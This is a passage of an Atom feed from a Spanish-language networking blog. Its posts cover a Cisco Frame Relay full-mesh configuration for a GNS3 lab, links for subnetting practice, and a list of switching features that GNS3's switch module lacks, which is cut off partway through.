border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=ow42LF_TAzc:eO82fxr2lWc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=ow42LF_TAzc:eO82fxr2lWc:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/ow42LF_TAzc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/3424958775634877844/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=3424958775634877844" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/3424958775634877844?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/3424958775634877844?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/ow42LF_TAzc/java-la-palabra-clave-new.html" title="Java - La Palabra Clave new" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/java-la-palabra-clave-new.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0EGQX08fyp7ImA9WhdWEkk.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-8642355903057946286</id><published>2011-09-05T14:02:00.004-05:00</published><updated>2011-09-05T14:07:00.377-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-05T14:07:00.377-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="WAN" /><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Layer 2" /><title>Topologia Full Mesh en Frame Relay</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-KKUjNF91P0E/TmUc1Yo70FI/AAAAAAAABQ4/4TK3gr1bMKk/s1600/FrameRelay-Full-Mesh-gns3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 217px;" src="http://4.bp.blogspot.com/-KKUjNF91P0E/TmUc1Yo70FI/AAAAAAAABQ4/4TK3gr1bMKk/s400/FrameRelay-Full-Mesh-gns3.png" alt="" id="BLOGGER_PHOTO_ID_5648952165942992370" border="0" /&gt;&lt;/a&gt;Lo primero es configurar el Switch Frame Relay&lt;br /&gt;&lt;br /&gt;Desde configuración global agregamos el comando.&lt;br /&gt;&lt;br /&gt;FrameRelaySwitch(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay switching&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Después a configurar las interfaces con las DLCIs&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuración Frame Relay Switch&lt;/span&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;no ip address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;clock rate 64000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay intf-type dce&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 102 interface Serial1/1 201&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 103 interface Serial1/2 301&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 104 interface Serial1/3 401&lt;/span&gt;&lt;br /&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;no ip address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;clock rate 64000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay intf-type dce&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 201 interface Serial1/0 102&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 203 interface Serial1/2 302&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 204 interface Serial1/3 402&lt;/span&gt;&lt;br /&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;no ip address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;clock rate 64000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay intf-type dce&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 301 interface Serial1/0 103&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 302 interface Serial1/1 203&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 304 interface Serial1/3 403&lt;/span&gt;&lt;br /&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;no ip address&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;clock rate 64000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay intf-type dce&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 401 interface Serial1/0 104&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 402 interface Serial1/1 204&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay route 403 interface Serial1/2 304&lt;/span&gt;&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Configuración R1&lt;/span&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.123.1 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay lmi-type cisco&lt;/span&gt;&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Configuración R2&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.123.2 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay lmi-type cisco&lt;/span&gt;&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Configuración R3&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.123.3 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay lmi-type cisco&lt;/span&gt;&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Configuración R4&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface Serial1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.123.4 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation frame-relay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;serial restart-delay 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;frame-relay lmi-type cisco&lt;/span&gt;&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-8642355903057946286?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=PHXWVJxK2w0:m8lslp6AkRA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=PHXWVJxK2w0:m8lslp6AkRA:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/PHXWVJxK2w0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/8642355903057946286/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=8642355903057946286" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8642355903057946286?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8642355903057946286?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/PHXWVJxK2w0/topologia-full-mesh-en-frame-relay.html" title="Topologia Full Mesh en Frame Relay" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-KKUjNF91P0E/TmUc1Yo70FI/AAAAAAAABQ4/4TK3gr1bMKk/s72-c/FrameRelay-Full-Mesh-gns3.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/09/topologia-full-mesh-en-frame-relay.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EBR349fip7ImA9WhdQF0w.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-8366405750512270448</id><published>2011-08-18T18:44:00.004-05:00</published><updated>2011-08-18T18:54:16.066-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-18T18:54:16.066-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="CCNA" /><title>Subnetting help</title><content type="html">Algunas pagina en linea para practicar Subnetting y VLSM!!
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.subnettingquestions.com/"&gt;http://www.subnettingquestions.com/
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.kehlet.cx/docs/2004/03/subnet.php"&gt;http://www.kehlet.cx/docs/2004/03/subnet.php
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://faculty.valleycollege.net/rpowell/jscript/subnet2.htm"&gt;http://faculty.valleycollege.net/rpowell/jscript/subnet2.htm
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.semsim.com/ccna/tutorial/subnetting/subnetting.html"&gt;http://www.semsim.com/ccna/tutorial/subnetting/subnetting.html
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.gt-solutions.com/subnet-1.php"&gt;http://www.gt-solutions.com/subnet-1.php&lt;/a&gt;&lt;a href="http://www.tcpipguide.com/free/t_IPVariableLengthSubnetMaskingVLSM.htm"&gt;
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.techexams.net/ip-subnet-calculator/"&gt;http://www.techexams.net/ip-subnet-calculator/
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.networking-forum.com/practicesubnetting.php"&gt;http://www.networking-forum.com/practicesubnetting.php
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.networking-forum.com/subnet_calculator.php"&gt;http://www.networking-forum.com/subnet_calculator.php&lt;/a&gt;&lt;div&gt;&lt;a href="http://www.learntosubnet.com/"&gt;http://www.learntosubnet.com/
&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.tcpipguide.com/free/t_IPVariableLengthSubnetMaskingVLSM.htm"&gt;http://www.tcpipguide.com/free/t_IPVariableLengthSubnetMaskingVLSM.htm&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-8366405750512270448?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=_GGSryBt5Co:9Zb_kn3n6Hw:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=_GGSryBt5Co:9Zb_kn3n6Hw:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/_GGSryBt5Co" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/8366405750512270448/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=8366405750512270448" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8366405750512270448?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8366405750512270448?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/_GGSryBt5Co/subnetting-help.html" title="Subnetting help" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/08/subnetting-help.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEBSXo_fCp7ImA9WhZbEkk.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-3319763922926131812</id><published>2011-06-16T11:42:00.000-05:00</published><updated>2011-06-16T11:44:18.444-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-16T11:44:18.444-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Switch" /><category scheme="http://www.blogger.com/atom/ns#" term="Switching" /><category scheme="http://www.blogger.com/atom/ns#" term="Layer 2" /><title>Funciones que faltan en GNS3 sobre Switching</title><content type="html">En GNS3 podemos usar un router como switch mediante el uso del modulo  NM16-ESW, pero este modulo no tiene todas las funciones de un switches.  La lista de funciones que hacen falta son las siguientes.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Access Switch Device Manager (SDM) Template&lt;/li&gt;&lt;li&gt;    ACL – Improved Merging Algorithm&lt;/li&gt;&lt;li&gt;    ARP Optimization&lt;/li&gt;&lt;li&gt;    BGP Increased Support of Numbered as-path Access Lists to 500&lt;/li&gt;&lt;li&gt;    BGP Restart Neighbor Session After max-prefix Limit Reached&lt;/li&gt;&lt;li&gt;    BGP Route-Map Continue Support for Outbound Policy&lt;/li&gt;&lt;li&gt;    Clear Counters Per Port&lt;/li&gt;&lt;li&gt;    DHCP Snooping&lt;/li&gt;&lt;li&gt;    DHCP Snooping Counters&lt;/li&gt;&lt;li&gt;    Diagnotics Options on bootup&lt;/li&gt;&lt;li&gt;    ErrDisable Reactivation Per Port&lt;/li&gt;&lt;li&gt;    ErrDisable timeout&lt;/li&gt;&lt;li&gt;    EtherChannel&lt;/li&gt;&lt;li&gt;    EtherChannel – Flexible PAgP&lt;/li&gt;&lt;li&gt;    Etherchannel Guard&lt;/li&gt;&lt;li&gt;    Fallback Bridging&lt;/li&gt;&lt;li&gt;    Flex Link Bi-directional Fast Convergence&lt;/li&gt;&lt;li&gt;    Flex Link VLAN Load-Balancing&lt;/li&gt;&lt;li&gt;    Flex Links Interface Preemption&lt;/li&gt;&lt;li&gt;    GOLD – Generic Online Diagnostics&lt;/li&gt;&lt;li&gt;    IEEE 802.1ab, Link Layer Discovery Protocol&lt;/li&gt;&lt;li&gt;    IEEE 802.1s – Multiple Spanning Tree (MST) Standard Compliance&lt;/li&gt;&lt;li&gt;    IEEE 802.1s VLAN Multiple Spanning Trees&lt;/li&gt;&lt;li&gt;    IEEE 802.1t&lt;/li&gt;&lt;li&gt;    IEEE 802.1W Spanning Tree Rapid Reconfiguration&lt;/li&gt;&lt;li&gt;    IEEE 802.1x – Auth Fail Open&lt;/li&gt;&lt;li&gt;    IEEE 802.1x – Auth Fail VLAN&lt;/li&gt;&lt;li&gt;    IEEE 802.1x – VLAN Assignment&lt;/li&gt;&lt;li&gt;    IEEE 802.1x – Wake on LAN Support&lt;/li&gt;&lt;li&gt;    IEEE 802.1x Authenticator&lt;/li&gt;&lt;li&gt;    IEEE 802.1X Multi-Domain Authentication&lt;/li&gt;&lt;li&gt;    IEEE 802.1x RADIUS Accounting&lt;/li&gt;&lt;li&gt;    IEEE 802.1x with Port Security&lt;/li&gt;&lt;li&gt;    IEEE 802.3ad Link Aggregation (LACP)&lt;/li&gt;&lt;li&gt;    IEEE 802.3af Power over Ethernet&lt;/li&gt;&lt;li&gt;    IGMP Fast Leave&lt;/li&gt;&lt;li&gt;    IGMP Version 1&lt;/li&gt;&lt;li&gt;    IGRP&lt;/li&gt;&lt;li&gt;    IP Phone Detection Enhancements&lt;/li&gt;&lt;li&gt;    IP Phone Enhancement – PHY Loop Detection&lt;/li&gt;&lt;li&gt;    IPSG (IP Source Guard)&lt;/li&gt;&lt;li&gt;    Jumbo Frames&lt;/li&gt;&lt;li&gt;    L2PT – Layer 2 Protocol Tunneling&lt;/li&gt;&lt;li&gt;    MAC Authentication Bypass&lt;/li&gt;&lt;li&gt;    MLD Snooping&lt;/li&gt;&lt;li&gt;    Multicast Etherchannel Load Balancing&lt;/li&gt;&lt;li&gt;    NAC – L2 